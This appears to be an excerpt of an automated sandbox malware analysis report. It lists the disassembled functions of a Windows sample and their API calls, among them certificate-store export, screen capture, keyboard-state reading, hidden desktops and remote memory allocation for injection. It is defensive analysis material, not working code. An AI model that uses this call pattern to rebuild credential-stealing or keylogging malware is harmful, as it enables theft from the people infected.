    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00429C44, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71
    APIs
      • Part of subcall function 0041C9F6: PathAddExtensionW.SHLWAPI(00000000,00000000), ref: 0041CA37
      • Part of subcall function 0041C9F6: GetFileAttributesW.KERNEL32(00000000), ref: 0041CA44
    • NlsGetCacheUpdateCount.KERNEL32(?,00000000), ref: 00429C8F
    • CloseHandle.KERNEL32 ref: 00429CEC
      • Part of subcall function 0041BBC6: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,?,00000000), ref: 0041BBE5
      • Part of subcall function 0041BBC6: GetSecurityDescriptorSacl.ADVAPI32(?,?,?,00429CAA), ref: 0041BC01
      • Part of subcall function 0041BBC6: SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,?), ref: 0041BC18
      • Part of subcall function 0041BBC6: LocalFree.KERNEL32(?), ref: 0041BC27
      • Part of subcall function 0041C8C5: CharUpperW.USER32(?,?,00429FDA,00000000), ref: 0041C9E6
    • CreateFileW.KERNEL32(00429FDA,C0000000,00000000,?,00000002,00000080,00000000), ref: 00429CE0
    Strings
    • C:\Documents and Settings\Administrator\Application Data, xrefs: 00429C4E
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040787A, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
    APIs
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,C:\Documents and Settings\Administrator\Application Data), ref: 00407898
    • PathRemoveBackslashW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data), ref: 004078A7
    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 004078BB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042C68C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
    APIs
      • Part of subcall function 0042C52D: GetComputerNameW.KERNEL32(?,?), ref: 0042C548
      • Part of subcall function 0042C52D: GetVersionExW.KERNEL32(?), ref: 0042C57F
      • Part of subcall function 0042C52D: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 0042C5F3
    • GlobalMemoryStatusEx.KERNEL32(?), ref: 0042C6DD
    • GetVolumeInformationA.KERNEL32(00407CB8,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0042C71A
      • Part of subcall function 004196EA: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00419703
      • Part of subcall function 004196EA: CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 0041971B
      • Part of subcall function 004196EA: CryptHashData.ADVAPI32(?,00000014,?,00000000), ref: 00419737
      • Part of subcall function 004196EA: CryptGetHashParam.ADVAPI32(?,00000002,?,00000014,00000000), ref: 0041974F
      • Part of subcall function 004196EA: CryptDestroyHash.ADVAPI32(?), ref: 00419766
      • Part of subcall function 004196EA: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00419770
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042C52D, Relevance: 4.6, APIs: 3, Instructions: 119
    APIs
    • GetComputerNameW.KERNEL32(?,?), ref: 0042C548
    • GetVersionExW.KERNEL32(?), ref: 0042C57F
      • Part of subcall function 0041C768: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 0041C780
    • RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 0042C5F3
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 0041C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,00000000,00000000,?), ref: 0041C867
      • Part of subcall function 0041C842: RegQueryValueExW.ADVAPI32(?,000000FF,00000000,?,?,?), ref: 0041C896
      • Part of subcall function 0041C842: RegCloseKey.ADVAPI32(?), ref: 0041C8B6
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00417266, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 94
    APIs
    • VirtualAlloc.KERNEL32(00000000,000041BB,00001000,00000040), ref: 004172C9
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 004198F0, Relevance: 4.6, APIs: 3, Instructions: 93
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00419CE7, Relevance: 4.6, APIs: 3, Instructions: 56
    APIs
    • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,?,?), ref: 00419D2B
    • CloseHandle.KERNEL32(00419DAE), ref: 00419D50
    • CloseHandle.KERNEL32(?), ref: 00419D55
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041C842, Relevance: 4.6, APIs: 3, Instructions: 54
    APIs
    • RegQueryValueExW.ADVAPI32(?,000000FF,00000000,00000000,00000000,?), ref: 0041C867
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • RegQueryValueExW.ADVAPI32(?,000000FF,00000000,?,?,?), ref: 0041C896
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • RegCloseKey.ADVAPI32(?), ref: 0041C8B6
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041D7AA, Relevance: 4.5, APIs: 3, Instructions: 41
    APIs
    • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 0041D7C4
    • WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 0041D7E7
    • CloseHandle.KERNEL32 ref: 0041D7F4
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041DAFB, Relevance: 4.5, APIs: 3, Instructions: 31
    APIs
    • CreateFileW.KERNEL32(?,00000100,00000001,00000000,00000003,?,00000000), ref: 0041DB1B
    • SetFileTime.KERNEL32(?,?,?,?), ref: 0041DB35
    • CloseHandle.KERNEL32 ref: 0041DB41
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041DC13, Relevance: 4.5, APIs: 3, Instructions: 27
    APIs
    • CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,02000000,00000000), ref: 0041DC2B
    • GetFileTime.KERNEL32(?,?,00000000,00000000), ref: 0041DC3F
    • CloseHandle.KERNEL32 ref: 0041DC4B
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041EB3A, Relevance: 3.0, APIs: 2, Instructions: 36
    APIs
    • VirtualProtect.KERNEL32(00429FDA,00000000,00000040,00000000), ref: 0041EB4F
    • VirtualProtect.KERNEL32(00429FDA,00000000,00000000,00000000), ref: 0041EB82
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00429CFE, Relevance: 3.0, APIs: 2, Instructions: 32
    APIs
    • Sleep.KERNEL32 ref: 00429D21
    • SetFileAttributesW.KERNEL32(00429FDA,00000020), ref: 00429D2C
      • Part of subcall function 0041D7AA: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 0041D7C4
      • Part of subcall function 0041D7AA: WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 0041D7E7
      • Part of subcall function 0041D7AA: CloseHandle.KERNEL32 ref: 0041D7F4
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBC7BB, Relevance: 3.0, APIs: 2, Instructions: 20
    APIs
    • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00BCC5CF,?), ref: 00BBC7D3
    • RegCloseKey.ADVAPI32(?), ref: 00BBC7E1
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041C7BB, Relevance: 3.0, APIs: 2, Instructions: 20
    APIs
    • RegQueryValueExW.ADVAPI32(?,?,00000000,?,0042C5CF,?), ref: 0041C7D3
    • RegCloseKey.ADVAPI32(?), ref: 0041C7E1
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00407ED5, Relevance: 1.5, APIs: 1, Instructions: 23
    APIs
    • CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 00407EF6
      • Part of subcall function 0041BC91: WaitForSingleObject.KERNEL32(?,000000FF), ref: 0041BC94
      • Part of subcall function 0041BC91: CloseHandle.KERNEL32 ref: 0041BCA6
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00419A22, Relevance: 1.3, APIs: 1, Instructions: 20
    APIs
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd

    Non-executed Functions

    Function 00417B9E, Relevance: 82.6, APIs: 27, Strings: 20, Instructions: 389
    APIs
    • LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00417BD0
    • GetProcAddress.KERNEL32(?,GdiplusStartup), ref: 00417BE1
    • GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00417BEE
    • GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 00417BFB
    • GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 00417C08
    • GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 00417C15
    • GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 00417C22
    • GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 00417C2F
    • LoadLibraryA.KERNEL32(ole32.dll), ref: 00417C77
    • GetProcAddress.KERNEL32(?,CreateStreamOnHGlobal), ref: 00417C82
    • LoadLibraryA.KERNEL32(gdi32.dll), ref: 00417C94
    • GetProcAddress.KERNEL32(?,CreateDCW), ref: 00417C9F
    • GetProcAddress.KERNEL32(00000001,CreateCompatibleDC), ref: 00417CAB
    • GetProcAddress.KERNEL32(00000001,CreateCompatibleBitmap), ref: 00417CB8
    • GetProcAddress.KERNEL32(00000001,GetDeviceCaps), ref: 00417CC5
    • GetProcAddress.KERNEL32(00000001,SelectObject), ref: 00417CD2
    • GetProcAddress.KERNEL32(00000001,BitBlt), ref: 00417CDF
    • GetProcAddress.KERNEL32(00000001,DeleteObject), ref: 00417CEC
    • GetProcAddress.KERNEL32(00000001,DeleteDC), ref: 00417CF9
    • LoadImageW.USER32(00000000,00007F00,00000002,00000000,00000000,00008040), ref: 00417D9D
    • GetIconInfo.USER32(?,?), ref: 00417DB2
    • GetCursorPos.USER32(?), ref: 00417DC0
    • DrawIcon.USER32(?,?,?,?), ref: 00417E91
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • lstrcmpiW.KERNEL32(?,?), ref: 00417F13
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • FreeLibrary.KERNEL32(00000000), ref: 00418030
    • FreeLibrary.KERNEL32(?), ref: 0041803A
    • FreeLibrary.KERNEL32(00000001), ref: 00418044
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042886A, Relevance: 15.1, APIs: 10, Instructions: 92
    APIs
    • OpenWindowStationW.USER32(00000014,00000000,10000000), ref: 0042888F
    • CreateWindowStationW.USER32(00000014,00000000,10000000,00000000), ref: 004288A2
    • GetProcessWindowStation.USER32 ref: 004288B3
      • Part of subcall function 00428842: GetProcessWindowStation.USER32 ref: 00428846
      • Part of subcall function 00428842: SetProcessWindowStation.USER32(00000000), ref: 0042885A
    • OpenDesktopW.USER32(?,00000000,00000000,10000000), ref: 004288EE
    • CreateDesktopW.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00428902
    • GetCurrentThreadId.KERNEL32 ref: 0042890E
    • GetThreadDesktop.USER32 ref: 00428915
      • Part of subcall function 004287FD: lstrcmpiW.KERNEL32 ref: 00428822
    • SetThreadDesktop.USER32 ref: 00428927
    • CloseDesktop.USER32 ref: 00428939
    • CloseWindowStation.USER32(?), ref: 00428954
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00428575, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107
    APIs
    • TranslateMessage.USER32(?), ref: 004286D3
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • EnterCriticalSection.KERNEL32(00434170), ref: 004285AF
    • LeaveCriticalSection.KERNEL32(00434170), ref: 00428659
      • Part of subcall function 00417B9E: LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00417BD0
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(?,GdiplusStartup), ref: 00417BE1
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00417BEE
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 00417BFB
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 00417C08
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 00417C15
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 00417C22
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 00417C2F
      • Part of subcall function 00417B9E: LoadLibraryA.KERNEL32(ole32.dll), ref: 00417C77
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(?,CreateStreamOnHGlobal), ref: 00417C82
      • Part of subcall function 00417B9E: LoadLibraryA.KERNEL32(gdi32.dll), ref: 00417C94
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(?,CreateDCW), ref: 00417C9F
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000001,CreateCompatibleDC), ref: 00417CAB
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000001,CreateCompatibleBitmap), ref: 00417CB8
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000001,GetDeviceCaps), ref: 00417CC5
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000001,SelectObject), ref: 00417CD2
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000001,BitBlt), ref: 00417CDF
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000001,DeleteObject), ref: 00417CEC
      • Part of subcall function 00417B9E: FreeLibrary.KERNEL32(00000000), ref: 00418030
      • Part of subcall function 00417B9E: FreeLibrary.KERNEL32(?), ref: 0041803A
      • Part of subcall function 00417B9E: FreeLibrary.KERNEL32(00000001), ref: 00418044
    • GetTickCount.KERNEL32 ref: 0042861B
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
    • GetKeyboardState.USER32(?), ref: 00428673
    • ToUnicode.USER32(0000001B,?,?,?,00000009,00000000), ref: 0042869B
      • Part of subcall function 004283EA: EnterCriticalSection.KERNEL32(00434170,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428407
      • Part of subcall function 004283EA: LeaveCriticalSection.KERNEL32(00434170,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428428
      • Part of subcall function 004283EA: EnterCriticalSection.KERNEL32(00434170,?,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428439
      • Part of subcall function 004283EA: LeaveCriticalSection.KERNEL32(00434170,?,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 004284C1
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004079BF, Relevance: 12.1, APIs: 8, Instructions: 134
    APIs
    • InitializeCriticalSection.KERNEL32(00434170), ref: 004079D6
    • InitializeCriticalSection.KERNEL32(00433FEC), ref: 00407A0B
      • Part of subcall function 004080FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 0040817A
    • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407A33
    • ReadFile.KERNEL32(?,?,000001FE,000001FE,00000000), ref: 00407A50
    • CloseHandle.KERNEL32 ref: 00407A61
      • Part of subcall function 00427234: InterlockedExchange.KERNEL32(00434140,00000000), ref: 00427252
      • Part of subcall function 00427234: InterlockedExchange.KERNEL32(00434120,00000000), ref: 0042725A
      • Part of subcall function 00427234: InitializeCriticalSection.KERNEL32(004340F8), ref: 00427261
      • Part of subcall function 00427234: CoInitializeEx.OLE32(00000000,00000002), ref: 0042735E
      • Part of subcall function 00427234: CoCreateInstance.OLE32(00401690,00000000,00004401,00401680,?), ref: 00427394
      • Part of subcall function 00408F85: GetModuleHandleW.KERNEL32(?), ref: 00408FAB
    • InitializeCriticalSection.KERNEL32(00433F6C), ref: 00407AA8
      • Part of subcall function 0042BBC0: GetCurrentThreadId.KERNEL32 ref: 0042BBCA
      • Part of subcall function 0042BBC0: GetThreadDesktop.USER32 ref: 0042BBD1
      • Part of subcall function 0042BBC0: GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 0042BBEB
    • GetModuleHandleW.KERNEL32(?), ref: 00407ACF
    • GetModuleHandleW.KERNEL32(?), ref: 00407AD8
      • Part of subcall function 00426387: GetProcAddress.KERNEL32(?,?), ref: 004263DB
      • Part of subcall function 00426387: GetProcAddress.KERNEL32(?,?), ref: 004263E7
      • Part of subcall function 00426387: GetProcAddress.KERNEL32(?,?), ref: 004263F3
      • Part of subcall function 00426387: GetProcAddress.KERNEL32(?,?), ref: 004263FF
      • Part of subcall function 00426387: GetProcAddress.KERNEL32(?,?), ref: 0042640B
      • Part of subcall function 00425E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00425E37
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00420A6C, Relevance: 12.1, APIs: 8, Instructions: 120
    APIs
    • CertOpenSystemStoreW.CRYPT32(00000000,004071B8), ref: 00420A87
    • CertEnumCertificatesInStore.CRYPT32(?,00000000), ref: 00420AA3
    • CertEnumCertificatesInStore.CRYPT32 ref: 00420AAF
    • PFXExportCertStoreEx.CRYPT32(?,00000004,?,00000000,00000004), ref: 00420AED
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • PFXExportCertStoreEx.CRYPT32(?,00000004,00000000,00000000,00000004,?,00000004,?,00000000,00000004), ref: 00420B1A
    • CharLowerW.USER32 ref: 00420B38
    • GetSystemTime.KERNEL32(?), ref: 00420B43
      • Part of subcall function 00420A0E: GetUserNameExW.SECUR32(00000002,?,?,00000000,?,?,00420B63,?,?,00000004,00000000,00000000,00000004,?,00000004,?), ref: 00420A23
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • CertCloseStore.CRYPT32(?,00000000,?,00000000), ref: 00420BCB
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041DD7A, Relevance: 10.6, APIs: 7, Instructions: 109
    APIs
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
    • FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
    • FindClose.KERNEL32(?), ref: 0041DEC7
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00408600, Relevance: 9.1, APIs: 6, Instructions: 88
    APIs
      • Part of subcall function 0041D8B7: VirtualFree.KERNEL32(?,00000000,00008000), ref: 0041D8C8
      • Part of subcall function 0041D8B7: CloseHandle.KERNEL32(00000CE4), ref: 0041D8D6
      • Part of subcall function 0042A297: StrCmpNIW.SHLWAPI(C:\Documents and Settings\Administrator\Application Data,00C22040), ref: 0042A31B
      • Part of subcall function 0042A297: lstrcmpiW.KERNEL32(?,E121EBEE), ref: 0042A333
    • CreateMutexW.KERNEL32(00432AFC,00000001,?), ref: 00408663
    • CloseHandle.KERNEL32 ref: 004086F3
      • Part of subcall function 0041BD28: GetLastError.KERNEL32(?,0042AE06), ref: 0041BD2B
      • Part of subcall function 0041BD28: CloseHandle.KERNEL32 ref: 0041BD39
      • Part of subcall function 00420477: RegOpenKeyExW.ADVAPI32(80000001,00433F08,00000000,00000001,?), ref: 004204BA
    • CloseHandle.KERNEL32(000001E6), ref: 00408701
      • Part of subcall function 0040853D: SHGetFolderPathW.SHELL32(00000000,00000029,00000000,00000000,?), ref: 00408555
      • Part of subcall function 0040853D: CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 004085A7
      • Part of subcall function 0040853D: CloseHandle.KERNEL32(?), ref: 004085B4
